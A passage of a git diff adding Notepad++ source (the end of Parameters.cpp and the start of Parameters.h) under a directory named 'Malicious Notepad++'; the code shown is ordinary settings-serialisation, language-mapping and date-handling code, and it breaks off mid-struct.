NppParameters::writePrintSetting(TiXmlElement *element) +{ + const TCHAR *pStr = _nppGUI._printSettings._printLineNumber?TEXT("yes"):TEXT("no"); + element->SetAttribute(TEXT("lineNumber"), pStr); + + element->SetAttribute(TEXT("printOption"), _nppGUI._printSettings._printOption); + + element->SetAttribute(TEXT("headerLeft"), _nppGUI._printSettings._headerLeft.c_str()); + element->SetAttribute(TEXT("headerMiddle"), _nppGUI._printSettings._headerMiddle.c_str()); + element->SetAttribute(TEXT("headerRight"), _nppGUI._printSettings._headerRight.c_str()); + element->SetAttribute(TEXT("footerLeft"), _nppGUI._printSettings._footerLeft.c_str()); + element->SetAttribute(TEXT("footerMiddle"), _nppGUI._printSettings._footerMiddle.c_str()); + element->SetAttribute(TEXT("footerRight"), _nppGUI._printSettings._footerRight.c_str()); + + element->SetAttribute(TEXT("headerFontName"), _nppGUI._printSettings._headerFontName.c_str()); + element->SetAttribute(TEXT("headerFontStyle"), _nppGUI._printSettings._headerFontStyle); + element->SetAttribute(TEXT("headerFontSize"), _nppGUI._printSettings._headerFontSize); + element->SetAttribute(TEXT("footerFontName"), _nppGUI._printSettings._footerFontName.c_str()); + element->SetAttribute(TEXT("footerFontStyle"), _nppGUI._printSettings._footerFontStyle); + element->SetAttribute(TEXT("footerFontSize"), _nppGUI._printSettings._footerFontSize); + + element->SetAttribute(TEXT("margeLeft"), _nppGUI._printSettings._marge.left); + element->SetAttribute(TEXT("margeRight"), _nppGUI._printSettings._marge.right); + element->SetAttribute(TEXT("margeTop"), _nppGUI._printSettings._marge.top); + element->SetAttribute(TEXT("margeBottom"), _nppGUI._printSettings._marge.bottom); +} + +void NppParameters::writeExcludedLangList(TiXmlElement *element) +{ + int g0 = 0; // up to 8 + int g1 = 0; // up to 16 + int g2 = 0; // up to 24 + int g3 = 0; // up to 32 + int g4 = 0; // up to 40 + int g5 = 0; // up to 48 + int g6 = 0; // up to 56 + int g7 = 0; // up to 64 + int g8 = 0; // up to 72 + int g9 = 0; // up to 80 + int g10= 0; // up to 88 + int g11= 0; // up to 96 + int g12= 0; // up to 104 + + const int groupNbMember = 8; + + for (size_t i = 0, len = _nppGUI._excludedLangList.size(); i < len ; ++i) + { + LangType langType = _nppGUI._excludedLangList[i]._langType; + if (langType >= L_EXTERNAL && langType < L_END) + continue; + + int nGrp = langType / groupNbMember; + int nMask = 1 << langType % groupNbMember; + + + switch (nGrp) + { + case 0 : + g0 |= nMask; + break; + case 1 : + g1 |= nMask; + break; + case 2 : + g2 |= nMask; + break; + case 3 : + g3 |= nMask; + break; + case 4 : + g4 |= nMask; + break; + case 5 : + g5 |= nMask; + break; + case 6 : + g6 |= nMask; + break; + case 7 : + g7 |= nMask; + break; + case 8: + g8 |= nMask; + break; + case 9: + g9 |= nMask; + break; + case 10: + g10 |= nMask; + break; + case 11: + g11 |= nMask; + break; + case 12: + g12 |= nMask; + break; + } + } + + element->SetAttribute(TEXT("gr0"), g0); + element->SetAttribute(TEXT("gr1"), g1); + element->SetAttribute(TEXT("gr2"), g2); + element->SetAttribute(TEXT("gr3"), g3); + element->SetAttribute(TEXT("gr4"), g4); + element->SetAttribute(TEXT("gr5"), g5); + element->SetAttribute(TEXT("gr6"), g6); + element->SetAttribute(TEXT("gr7"), g7); + element->SetAttribute(TEXT("gr8"), g8); + element->SetAttribute(TEXT("gr9"), g9); + element->SetAttribute(TEXT("gr10"), g10); + element->SetAttribute(TEXT("gr11"), g11); + element->SetAttribute(TEXT("gr12"), g12); +} + +TiXmlElement * NppParameters::insertGUIConfigBoolNode(TiXmlNode *r2w, const TCHAR *name, bool bVal) +{ + const TCHAR *pStr = bVal?TEXT("yes"):TEXT("no"); + TiXmlElement *GUIConfigElement = (r2w->InsertEndChild(TiXmlElement(TEXT("GUIConfig"))))->ToElement(); + GUIConfigElement->SetAttribute(TEXT("name"), name); + GUIConfigElement->InsertEndChild(TiXmlText(pStr)); + return GUIConfigElement; +} + +int RGB2int(COLORREF color) { + return (((((DWORD)color) & 0x0000FF) << 16) | ((((DWORD)color) & 0x00FF00)) | ((((DWORD)color) & 0xFF0000) >> 16)); +} + +int NppParameters::langTypeToCommandID(LangType lt) const +{ + int id; + switch (lt) + { + case L_C : + id = IDM_LANG_C; break; + case L_CPP : + id = IDM_LANG_CPP; break; + case L_JAVA : + id = IDM_LANG_JAVA; break; + case L_CS : + id = IDM_LANG_CS; break; + case L_OBJC : + id = IDM_LANG_OBJC; break; + case L_HTML : + id = IDM_LANG_HTML; break; + case L_XML : + id = IDM_LANG_XML; break; + case L_JS : + case L_JAVASCRIPT: + id = IDM_LANG_JS; break; + case L_JSON: + id = IDM_LANG_JSON; break; + case L_PHP : + id = IDM_LANG_PHP; break; + case L_ASP : + id = IDM_LANG_ASP; break; + case L_JSP : + id = IDM_LANG_JSP; break; + case L_CSS : + id = IDM_LANG_CSS; break; + case L_LUA : + id = IDM_LANG_LUA; break; + case L_PERL : + id = IDM_LANG_PERL; break; + case L_PYTHON : + id = IDM_LANG_PYTHON; break; + case L_BATCH : + id = IDM_LANG_BATCH; break; + case L_PASCAL : + id = IDM_LANG_PASCAL; break; + case L_MAKEFILE : + id = IDM_LANG_MAKEFILE; break; + case L_INI : + id = IDM_LANG_INI; break; + case L_ASCII : + id = IDM_LANG_ASCII; break; + case L_RC : + id = IDM_LANG_RC; break; + case L_TEX : + id = IDM_LANG_TEX; break; + case L_FORTRAN : + id = IDM_LANG_FORTRAN; break; + case L_FORTRAN_77 : + id = IDM_LANG_FORTRAN_77; break; + case L_BASH : + id = IDM_LANG_BASH; break; + case L_FLASH : + id = IDM_LANG_FLASH; break; + case L_NSIS : + id = IDM_LANG_NSIS; break; + case L_USER : + id = IDM_LANG_USER; break; + case L_SQL : + id = IDM_LANG_SQL; break; + case L_VB : + id = IDM_LANG_VB; break; + case L_TCL : + id = IDM_LANG_TCL; break; + + case L_LISP : + id = IDM_LANG_LISP; break; + case L_SCHEME : + id = IDM_LANG_SCHEME; break; + case L_ASM : + id = IDM_LANG_ASM; break; + case L_DIFF : + id = IDM_LANG_DIFF; break; + case L_PROPS : + id = IDM_LANG_PROPS; break; + case L_PS : + id = IDM_LANG_PS; break; + case L_RUBY : + id = IDM_LANG_RUBY; break; + case L_SMALLTALK : + id = IDM_LANG_SMALLTALK; break; + case L_VHDL : + id = IDM_LANG_VHDL; break; + + case L_ADA : + id = IDM_LANG_ADA; break; + case L_MATLAB : + id = IDM_LANG_MATLAB; break; + + case L_HASKELL : + id = IDM_LANG_HASKELL; break; + + case L_KIX : + id = IDM_LANG_KIX; break; + case L_AU3 : + id = IDM_LANG_AU3; break; + case L_VERILOG : + id = IDM_LANG_VERILOG; break; + case L_CAML : + id = IDM_LANG_CAML; break; + + case L_INNO : + id = IDM_LANG_INNO; break; + + case L_CMAKE : + id = IDM_LANG_CMAKE; break; + + case L_YAML : + id = IDM_LANG_YAML; break; + + case L_COBOL : + id = IDM_LANG_COBOL; break; + + case L_D : + id = IDM_LANG_D; break; + + case L_GUI4CLI : + id = IDM_LANG_GUI4CLI; break; + + case L_POWERSHELL : + id = IDM_LANG_POWERSHELL; break; + + case L_R : + id = IDM_LANG_R; break; + + case L_COFFEESCRIPT : + id = IDM_LANG_COFFEESCRIPT; break; + + case L_BAANC: + id = IDM_LANG_BAANC; break; + + case L_SREC : + id = IDM_LANG_SREC; break; + + case L_IHEX : + id = IDM_LANG_IHEX; break; + + case L_TEHEX : + id = IDM_LANG_TEHEX; break; + + case L_SWIFT: + id = IDM_LANG_SWIFT; break; + + case L_ASN1 : + id = IDM_LANG_ASN1; break; + + case L_AVS : + id = IDM_LANG_AVS; break; + + case L_BLITZBASIC : + id = IDM_LANG_BLITZBASIC; break; + + case L_PUREBASIC : + id = IDM_LANG_PUREBASIC; break; + + case L_FREEBASIC : + id = IDM_LANG_FREEBASIC; break; + + case L_CSOUND : + id = IDM_LANG_CSOUND; break; + + case L_ERLANG : + id = IDM_LANG_ERLANG; break; + + case L_ESCRIPT : + id = IDM_LANG_ESCRIPT; break; + + case L_FORTH : + id = IDM_LANG_FORTH; break; + + case L_LATEX : + id = IDM_LANG_LATEX; break; + + case L_MMIXAL : + id = IDM_LANG_MMIXAL; break; + + case L_NIMROD : + id = IDM_LANG_NIMROD; break; + + case L_NNCRONTAB : + id = IDM_LANG_NNCRONTAB; break; + + case L_OSCRIPT : + id = IDM_LANG_OSCRIPT; break; + + case L_REBOL : + id = IDM_LANG_REBOL; break; + + case L_REGISTRY : + id = IDM_LANG_REGISTRY; break; + + case L_RUST : + id = IDM_LANG_RUST; break; + + case L_SPICE : + id = IDM_LANG_SPICE; break; + + case L_TXT2TAGS : + id = IDM_LANG_TXT2TAGS; break; + + case L_VISUALPROLOG: + id = IDM_LANG_VISUALPROLOG; break; + + case L_SEARCHRESULT : + id = -1; break; + + case L_TEXT : + id = IDM_LANG_TEXT; break; + + + default : + if(lt >= L_EXTERNAL && lt < L_END) + id = lt - L_EXTERNAL + IDM_LANG_EXTERNAL; + else + id = IDM_LANG_TEXT; + } + return id; +} + +generic_string NppParameters:: getWinVersionStr() const +{ + switch (_winVersion) + { + case WV_WIN32S: return TEXT("Windows 3.1"); + case WV_95: return TEXT("Windows 95"); + case WV_98: return TEXT("Windows 98"); + case WV_ME: return TEXT("Windows Millennium Edition"); + case WV_NT: return TEXT("Windows NT"); + case WV_W2K: return TEXT("Windows 2000"); + case WV_XP: return TEXT("Windows XP"); + case WV_S2003: return TEXT("Windows Server 2003"); + case WV_XPX64: return TEXT("Windows XP 64 bits"); + case WV_VISTA: return TEXT("Windows Vista"); + case WV_WIN7: return TEXT("Windows 7"); + case WV_WIN8: return TEXT("Windows 8"); + case WV_WIN81: return TEXT("Windows 8.1"); + case WV_WIN10: return TEXT("Windows 10"); + default: /*case WV_UNKNOWN:*/ return TEXT("Windows unknown version"); + } +} + +generic_string NppParameters::getWinVerBitStr() const +{ + switch (_platForm) + { + case PF_X86: + return TEXT("32-bit"); + + case PF_X64: + case PF_IA64: + return TEXT("64-bit"); + + default: + return TEXT("Unknown-bit"); + } +} + +void NppParameters::writeStyles(LexerStylerArray & lexersStylers, StyleArray & globalStylers) +{ + TiXmlNode *lexersRoot = (_pXmlUserStylerDoc->FirstChild(TEXT("NotepadPlus")))->FirstChildElement(TEXT("LexerStyles")); + for (TiXmlNode *childNode = lexersRoot->FirstChildElement(TEXT("LexerType")); + childNode ; + childNode = childNode->NextSibling(TEXT("LexerType"))) + { + TiXmlElement *element = childNode->ToElement(); + const TCHAR *nm = element->Attribute(TEXT("name")); + + LexerStyler *pLs = _lexerStylerArray.getLexerStylerByName(nm); + LexerStyler *pLs2 = lexersStylers.getLexerStylerByName(nm); + + if (pLs) + { + const TCHAR *extStr = pLs->getLexerUserExt(); + element->SetAttribute(TEXT("ext"), extStr); + for (TiXmlNode *grChildNode = childNode->FirstChildElement(TEXT("WordsStyle")); + grChildNode ; + grChildNode = grChildNode->NextSibling(TEXT("WordsStyle"))) + { + TiXmlElement *grElement = grChildNode->ToElement(); + const TCHAR *styleName = grElement->Attribute(TEXT("name")); + + int i = pLs->getStylerIndexByName(styleName); + if (i != -1) + { + Style & style = pLs->getStyler(i); + Style & style2Sync = pLs2->getStyler(i); + + writeStyle2Element(style, style2Sync, grElement); + } + } + } + } + + for(size_t x = 0; x < _pXmlExternalLexerDoc.size(); ++x) + { + TiXmlNode *lexersRoot = ( _pXmlExternalLexerDoc[x]->FirstChild(TEXT("NotepadPlus")))->FirstChildElement(TEXT("LexerStyles")); + for (TiXmlNode *childNode = lexersRoot->FirstChildElement(TEXT("LexerType")); + childNode ; + childNode = childNode->NextSibling(TEXT("LexerType"))) + { + TiXmlElement *element = childNode->ToElement(); + const TCHAR *nm = element->Attribute(TEXT("name")); + + LexerStyler *pLs = _lexerStylerArray.getLexerStylerByName(nm); + LexerStyler *pLs2 = lexersStylers.getLexerStylerByName(nm); + + if (pLs) + { + const TCHAR *extStr = pLs->getLexerUserExt(); + element->SetAttribute(TEXT("ext"), extStr); + + for (TiXmlNode *grChildNode = childNode->FirstChildElement(TEXT("WordsStyle")); + grChildNode ; + grChildNode = grChildNode->NextSibling(TEXT("WordsStyle"))) + { + TiXmlElement *grElement = grChildNode->ToElement(); + const TCHAR *styleName = grElement->Attribute(TEXT("name")); + + int i = pLs->getStylerIndexByName(styleName); + if (i != -1) + { + Style & style = pLs->getStyler(i); + Style & style2Sync = pLs2->getStyler(i); + + writeStyle2Element(style, style2Sync, grElement); + } + } + } + } + _pXmlExternalLexerDoc[x]->SaveFile(); + } + + TiXmlNode *globalStylesRoot = (_pXmlUserStylerDoc->FirstChild(TEXT("NotepadPlus")))->FirstChildElement(TEXT("GlobalStyles")); + + for (TiXmlNode *childNode = globalStylesRoot->FirstChildElement(TEXT("WidgetStyle")); + childNode ; + childNode = childNode->NextSibling(TEXT("WidgetStyle"))) + { + TiXmlElement *pElement = childNode->ToElement(); + const TCHAR *styleName = pElement->Attribute(TEXT("name")); + int i = _widgetStyleArray.getStylerIndexByName(styleName); + + if (i != -1) + { + Style & style = _widgetStyleArray.getStyler(i); + Style & style2Sync = globalStylers.getStyler(i); + + writeStyle2Element(style, style2Sync, pElement); + } + } + + _pXmlUserStylerDoc->SaveFile(); +} + + +bool NppParameters::insertTabInfo(const TCHAR *langName, int tabInfo) +{ + if (!_pXmlDoc) return false; + TiXmlNode *langRoot = (_pXmlDoc->FirstChild(TEXT("NotepadPlus")))->FirstChildElement(TEXT("Languages")); + for (TiXmlNode *childNode = langRoot->FirstChildElement(TEXT("Language")); + childNode ; + childNode = childNode->NextSibling(TEXT("Language"))) + { + TiXmlElement *element = childNode->ToElement(); + const TCHAR *nm = element->Attribute(TEXT("name")); + if (nm && lstrcmp(langName, nm) == 0) + { + childNode->ToElement()->SetAttribute(TEXT("tabSettings"), tabInfo); + _pXmlDoc->SaveFile(); + return true; + } + } + return false; +} + +void NppParameters::writeStyle2Element(Style & style2Write, Style & style2Sync, TiXmlElement *element) +{ + if (HIBYTE(HIWORD(style2Write._fgColor)) != 0xFF) + { + int rgbVal = RGB2int(style2Write._fgColor); + TCHAR fgStr[7]; + wsprintf(fgStr, TEXT("%.6X"), rgbVal); + element->SetAttribute(TEXT("fgColor"), fgStr); + } + + if (HIBYTE(HIWORD(style2Write._bgColor)) != 0xFF) + { + int rgbVal = RGB2int(style2Write._bgColor); + TCHAR bgStr[7]; + wsprintf(bgStr, TEXT("%.6X"), rgbVal); + element->SetAttribute(TEXT("bgColor"), bgStr); + } + + if (style2Write._colorStyle != COLORSTYLE_ALL) + { + element->SetAttribute(TEXT("colorStyle"), style2Write._colorStyle); + } + + if (style2Write._fontName) + { + const TCHAR *oldFontName = element->Attribute(TEXT("fontName")); + if (lstrcmp(oldFontName, style2Write._fontName)) + { + element->SetAttribute(TEXT("fontName"), style2Write._fontName); + style2Sync._fontName = style2Write._fontName = element->Attribute(TEXT("fontName")); + } + } + + if (style2Write._fontSize != STYLE_NOT_USED) + { + if (!style2Write._fontSize) + element->SetAttribute(TEXT("fontSize"), TEXT("")); + else + element->SetAttribute(TEXT("fontSize"), style2Write._fontSize); + } + + if (style2Write._fontStyle != STYLE_NOT_USED) + { + element->SetAttribute(TEXT("fontStyle"), style2Write._fontStyle); + } + + + if (style2Write._keywords) + { + TiXmlNode *teteDeNoeud = element->LastChild(); + + if (teteDeNoeud) + teteDeNoeud->SetValue(style2Write._keywords->c_str()); + else + element->InsertEndChild(TiXmlText(style2Write._keywords->c_str())); + } +} + +void NppParameters::insertUserLang2Tree(TiXmlNode *node, UserLangContainer *userLang) +{ + TiXmlElement *rootElement = (node->InsertEndChild(TiXmlElement(TEXT("UserLang"))))->ToElement(); + + TCHAR temp[32]; + generic_string udlVersion; + udlVersion += generic_itoa(SCE_UDL_VERSION_MAJOR, temp, 10); + udlVersion += TEXT("."); + udlVersion += generic_itoa(SCE_UDL_VERSION_MINOR, temp, 10); + + rootElement->SetAttribute(TEXT("name"), userLang->_name); + rootElement->SetAttribute(TEXT("ext"), userLang->_ext); + rootElement->SetAttribute(TEXT("udlVersion"), udlVersion.c_str()); + + TiXmlElement *settingsElement = (rootElement->InsertEndChild(TiXmlElement(TEXT("Settings"))))->ToElement(); + { + TiXmlElement *globalElement = (settingsElement->InsertEndChild(TiXmlElement(TEXT("Global"))))->ToElement(); + globalElement->SetAttribute(TEXT("caseIgnored"), userLang->_isCaseIgnored ? TEXT("yes"):TEXT("no")); + globalElement->SetAttribute(TEXT("allowFoldOfComments"), userLang->_allowFoldOfComments ? TEXT("yes"):TEXT("no")); + globalElement->SetAttribute(TEXT("foldCompact"), userLang->_foldCompact ? TEXT("yes"):TEXT("no")); + globalElement->SetAttribute(TEXT("forcePureLC"), userLang->_forcePureLC); + globalElement->SetAttribute(TEXT("decimalSeparator"), userLang->_decimalSeparator); + + TiXmlElement *prefixElement = (settingsElement->InsertEndChild(TiXmlElement(TEXT("Prefix"))))->ToElement(); + for (int i = 0 ; i < SCE_USER_TOTAL_KEYWORD_GROUPS ; ++i) + prefixElement->SetAttribute(globalMappper().keywordNameMapper[i+SCE_USER_KWLIST_KEYWORDS1], userLang->_isPrefix[i]?TEXT("yes"):TEXT("no")); + } + + TiXmlElement *kwlElement = (rootElement->InsertEndChild(TiXmlElement(TEXT("KeywordLists"))))->ToElement(); + + for (int i = 0 ; i < SCE_USER_KWLIST_TOTAL ; ++i) + { + TiXmlElement *kwElement = (kwlElement->InsertEndChild(TiXmlElement(TEXT("Keywords"))))->ToElement(); + kwElement->SetAttribute(TEXT("name"), globalMappper().keywordNameMapper[i]); + kwElement->InsertEndChild(TiXmlText(userLang->_keywordLists[i])); + } + + TiXmlElement *styleRootElement = (rootElement->InsertEndChild(TiXmlElement(TEXT("Styles"))))->ToElement(); + + for (int i = 0 ; i < SCE_USER_STYLE_TOTAL_STYLES ; ++i) + { + TiXmlElement *styleElement = (styleRootElement->InsertEndChild(TiXmlElement(TEXT("WordsStyle"))))->ToElement(); + Style style2Write = userLang->_styleArray.getStyler(i); + + if (style2Write._styleID == -1) + continue; + + styleElement->SetAttribute(TEXT("name"), style2Write._styleDesc); + + //if (HIBYTE(HIWORD(style2Write._fgColor)) != 0xFF) + { + int rgbVal = RGB2int(style2Write._fgColor); + TCHAR fgStr[7]; + wsprintf(fgStr, TEXT("%.6X"), rgbVal); + styleElement->SetAttribute(TEXT("fgColor"), fgStr); + } + + //if (HIBYTE(HIWORD(style2Write._bgColor)) != 0xFF) + { + int rgbVal = RGB2int(style2Write._bgColor); + TCHAR bgStr[7]; + wsprintf(bgStr, TEXT("%.6X"), rgbVal); + styleElement->SetAttribute(TEXT("bgColor"), bgStr); + } + + if (style2Write._colorStyle != COLORSTYLE_ALL) + { + styleElement->SetAttribute(TEXT("colorStyle"), style2Write._colorStyle); + } + + if (style2Write._fontName) + { + styleElement->SetAttribute(TEXT("fontName"), style2Write._fontName); + } + + if (style2Write._fontStyle == STYLE_NOT_USED) + { + styleElement->SetAttribute(TEXT("fontStyle"), TEXT("0")); + } + else + { + styleElement->SetAttribute(TEXT("fontStyle"), style2Write._fontStyle); + } + + if (style2Write._fontSize != STYLE_NOT_USED) + { + if (!style2Write._fontSize) + styleElement->SetAttribute(TEXT("fontSize"), TEXT("")); + else + styleElement->SetAttribute(TEXT("fontSize"), style2Write._fontSize); + } + + styleElement->SetAttribute(TEXT("nesting"), style2Write._nesting); + } +} + +void NppParameters::stylerStrOp(bool op) +{ + for (int i = 0 ; i < _nbUserLang ; ++i) + { + for (int j = 0 ; j < SCE_USER_STYLE_TOTAL_STYLES ; ++j) + { + Style & style = _userLangArray[i]->_styleArray.getStyler(j); + + if (op == DUP) + { + TCHAR *str = new TCHAR[lstrlen(style._styleDesc) + 1]; + style._styleDesc = lstrcpy(str, style._styleDesc); + if (style._fontName) + { + str = new TCHAR[lstrlen(style._fontName) + 1]; + style._fontName = lstrcpy(str, style._fontName); + } + else + { + str = new TCHAR[2]; + str[0] = str[1] = '\0'; + style._fontName = str; + } + } + else + { + delete [] style._styleDesc; + delete [] style._fontName; + } + } + } +} + +void NppParameters::addUserModifiedIndex(size_t index) +{ + size_t len = _customizedShortcuts.size(); + bool found = false; + for(size_t i = 0; i < len; ++i) + { + if (_customizedShortcuts[i] == index) + { + found = true; + break; + } + } + if (!found) + { + _customizedShortcuts.push_back(index); + } +} + +void NppParameters::addPluginModifiedIndex(size_t index) +{ + size_t len = _pluginCustomizedCmds.size(); + bool found = false; + for(size_t i = 0; i < len; ++i) + { + if (_pluginCustomizedCmds[i] == index) + { + found = true; + break; + } + } + if (!found) + { + _pluginCustomizedCmds.push_back(index); + } +} + +void NppParameters::addScintillaModifiedIndex(int index) +{ + size_t len = _scintillaModifiedKeyIndices.size(); + bool found = false; + for(size_t i = 0; i < len; ++i) + { + if (_scintillaModifiedKeyIndices[i] == index) + { + found = true; + break; + } + } + if (!found) + { + _scintillaModifiedKeyIndices.push_back(index); + } +} + +void NppParameters::safeWow64EnableWow64FsRedirection(BOOL Wow64FsEnableRedirection) +{ + HMODULE kernel = GetModuleHandle(TEXT("kernel32")); + if (kernel) + { + BOOL isWow64 = FALSE; + typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); + LPFN_ISWOW64PROCESS IsWow64ProcessFunc = (LPFN_ISWOW64PROCESS) GetProcAddress(kernel,"IsWow64Process"); + + if (IsWow64ProcessFunc) + { + IsWow64ProcessFunc(GetCurrentProcess(),&isWow64); + + if (isWow64) + { + typedef BOOL (WINAPI *LPFN_WOW64ENABLEWOW64FSREDIRECTION)(BOOL); + LPFN_WOW64ENABLEWOW64FSREDIRECTION Wow64EnableWow64FsRedirectionFunc = (LPFN_WOW64ENABLEWOW64FSREDIRECTION)GetProcAddress(kernel, "Wow64EnableWow64FsRedirection"); + if (Wow64EnableWow64FsRedirectionFunc) + { + Wow64EnableWow64FsRedirectionFunc(Wow64FsEnableRedirection); + } + } + } + } +} + + +Date::Date(const TCHAR *dateStr) +{ + // timeStr should be Notepad++ date format : YYYYMMDD + assert(dateStr); + if (lstrlen(dateStr) == 8) + { + generic_string ds(dateStr); + generic_string yyyy(ds, 0, 4); + generic_string mm(ds, 4, 2); + generic_string dd(ds, 6, 2); + + int y = generic_atoi(yyyy.c_str()); + int m = generic_atoi(mm.c_str()); + int d = generic_atoi(dd.c_str()); + + if ((y > 0 && y <= 9999) && (m > 0 && m <= 12) && (d > 0 && d <= 31)) + { + _year = y; + _month = m; + _day = d; + return; + } + } + now(); +} + +// The constructor which makes the date of number of days from now +// nbDaysFromNow could be negative if user want to make a date in the past +// if the value of nbDaysFromNow is 0 then the date will be now +Date::Date(int nbDaysFromNow) +{ + const time_t oneDay = (60 * 60 * 24); + + time_t rawtime; + tm* timeinfo; + + time(&rawtime); + rawtime += (nbDaysFromNow * oneDay); + + timeinfo = localtime(&rawtime); + + _year = timeinfo->tm_year + 1900; + _month = timeinfo->tm_mon + 1; + _day = timeinfo->tm_mday; +} + +void Date::now() +{ + time_t rawtime; + tm* timeinfo; + + time(&rawtime); + timeinfo = localtime(&rawtime); + + _year = timeinfo->tm_year + 1900; + _month = timeinfo->tm_mon + 1; + _day = timeinfo->tm_mday; +} + + +EolType convertIntToFormatType(int value, EolType defvalue) +{ + switch (value) + { + case static_cast(EolType::windows) : + return EolType::windows; + case static_cast(EolType::macos) : + return EolType::macos; + case static_cast(EolType::unix) : + return EolType::unix; + default: + return defvalue; + } +} diff --git a/Malicious Notepad++/src/Parameters.h b/Malicious Notepad++/src/Parameters.h new file mode 100644 index 0000000..e328a3a --- /dev/null +++ b/Malicious Notepad++/src/Parameters.h @@ -0,0 +1,1772 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#pragma once + +#include "tinyxmlA.h" +#include "tinyxml.h" +#include "Scintilla.h" +#include "ScintillaRef.h" +#include "ToolBar.h" +#include "UserDefineLangReference.h" +#include "colors.h" +#include "shortcut.h" +#include "ContextMenu.h" +#include "dpiManager.h" +#include +#include + +class NativeLangSpeaker; + +const bool POS_VERTICAL = true; +const bool POS_HORIZOTAL = false; + +const int UDD_SHOW = 1; // 0000 0001 +const int UDD_DOCKED = 2; // 0000 0010 + +// 0 : 0000 0000 hide & undocked +// 1 : 0000 0001 show & undocked +// 2 : 0000 0010 hide & docked +// 3 : 0000 0011 show & docked + +const int TAB_DRAWTOPBAR = 1; //0000 0000 0001 +const int TAB_DRAWINACTIVETAB = 2; //0000 0000 0010 +const int TAB_DRAGNDROP = 4; //0000 0000 0100 +const int TAB_REDUCE = 8; //0000 0000 1000 +const int TAB_CLOSEBUTTON = 16; //0000 0001 0000 +const int TAB_DBCLK2CLOSE = 32; //0000 0010 0000 +const int TAB_VERTICAL = 64; //0000 0100 0000 +const int TAB_MULTILINE = 128; //0000 1000 0000 +const int TAB_HIDE = 256; //0001 0000 0000 +const int TAB_QUITONEMPTY = 512; //0010 0000 0000 + + +enum class EolType: std::uint8_t +{ + windows, + macos, + unix, + + // special values + unknown, // can not be the first value for legacy code + osdefault = windows, +}; + +/*! +** \brief Convert an int into a FormatType +** \param value An arbitrary int +** \param defvalue The default value to use if an invalid value is provided +*/ +EolType convertIntToFormatType(int value, EolType defvalue = EolType::osdefault); + + + + +enum UniMode {uni8Bit=0, uniUTF8=1, uni16BE=2, uni16LE=3, uniCookie=4, uni7Bit=5, uni16BE_NoBOM=6, uni16LE_NoBOM=7, uniEnd}; +enum ChangeDetect {cdDisabled=0, cdEnabled=1, cdAutoUpdate=2, cdGo2end=3, cdAutoUpdateGo2end=4}; +enum BackupFeature {bak_none = 0, bak_simple = 1, bak_verbose = 2}; +enum OpenSaveDirSetting {dir_followCurrent = 0, dir_last = 1, dir_userDef = 2}; +enum MultiInstSetting {monoInst = 0, multiInstOnSession = 1, multiInst = 2}; +//enum CloudChoice {noCloud = 0, dropbox = 1, oneDrive = 2, googleDrive = 3}; + +const int LANG_INDEX_INSTR = 0; +const int LANG_INDEX_INSTR2 = 1; +const int LANG_INDEX_TYPE = 2; +const int LANG_INDEX_TYPE2 = 3; +const int LANG_INDEX_TYPE3 = 4; +const int LANG_INDEX_TYPE4 = 5; +const int LANG_INDEX_TYPE5 = 6; + +const int COPYDATA_PARAMS = 0; +const int COPYDATA_FILENAMESA = 1; +const int COPYDATA_FILENAMESW = 2; + +#define PURE_LC_NONE 0 +#define PURE_LC_BOL 1 +#define PURE_LC_WSP 2 + +#define DECSEP_DOT 0 +#define DECSEP_COMMA 1 +#define DECSEP_BOTH 2 + + +#define DROPBOX_AVAILABLE 1 +#define ONEDRIVE_AVAILABLE 2 +#define GOOGLEDRIVE_AVAILABLE 4 + +const TCHAR fontSizeStrs[][3] = {TEXT(""), TEXT("5"), TEXT("6"), TEXT("7"), TEXT("8"), TEXT("9"), TEXT("10"), TEXT("11"), TEXT("12"), TEXT("14"), TEXT("16"), TEXT("18"), TEXT("20"), TEXT("22"), TEXT("24"), TEXT("26"), TEXT("28")}; + +const TCHAR localConfFile[] = TEXT("doLocalConf.xml"); +const TCHAR allowAppDataPluginsFile[] = TEXT("allowAppDataPlugins.xml"); +const TCHAR notepadStyleFile[] = TEXT("asNotepad.xml"); + +void cutString(const TCHAR *str2cut, std::vector & patternVect); + + +struct Position +{ + int _firstVisibleLine = 0; + int _startPos = 0; + int _endPos = 0; + int _xOffset = 0; + int _selMode = 0; + int _scrollWidth = 1; +}; + + +struct MapPosition +{ + int32_t _firstVisibleDisplayLine = -1; + + int32_t _firstVisibleDocLine = -1; // map + int32_t _lastVisibleDocLine = -1; // map + int32_t _nbLine = -1; // map + int32_t _higherPos = -1; // map + int32_t _width = -1; + int32_t _height = -1; + int32_t _wrapIndentMode = -1; + + int64_t _KByteInDoc = _maxPeekLenInKB; + + bool _isWrap = false; + bool isValid() const { return (_firstVisibleDisplayLine != -1); }; + bool canScroll() const { return (_KByteInDoc < _maxPeekLenInKB); }; // _nbCharInDoc < _maxPeekLen : Don't scroll the document for the performance issue + +private: + int64_t _maxPeekLenInKB = 512; // 512 KB +}; + + +struct sessionFileInfo : public Position +{ + sessionFileInfo(const TCHAR *fn, const TCHAR *ln, int encoding, Position pos, const TCHAR *backupFilePath, int originalFileLastModifTimestamp, const MapPosition & mapPos) : + _encoding(encoding), Position(pos), _originalFileLastModifTimestamp(originalFileLastModifTimestamp), _mapPos(mapPos) + { + if (fn) _fileName = fn; + if (ln) _langName = ln; + if (backupFilePath) _backupFilePath = backupFilePath; + } + + sessionFileInfo(generic_string fn) : _fileName(fn) {} + + generic_string _fileName; + generic_string _langName; + std::vector _marks; + std::vector _foldStates; + int _encoding = -1; + + generic_string _backupFilePath; + time_t _originalFileLastModifTimestamp = 0; + + MapPosition _mapPos; +}; + + +struct Session +{ + size_t nbMainFiles() const {return _mainViewFiles.size();}; + size_t nbSubFiles() const {return _subViewFiles.size();}; + size_t 